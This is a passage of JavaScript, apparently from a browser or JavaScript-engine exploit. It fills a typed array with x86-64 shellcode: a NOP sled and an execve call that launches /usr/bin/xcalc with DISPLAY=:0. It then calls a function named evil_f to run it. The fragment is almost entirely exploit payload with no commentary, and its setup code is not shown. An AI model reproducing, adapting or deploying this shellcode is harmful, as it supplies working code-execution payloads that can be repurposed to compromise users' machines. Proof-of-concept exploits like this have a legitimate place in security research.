var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

evil_f();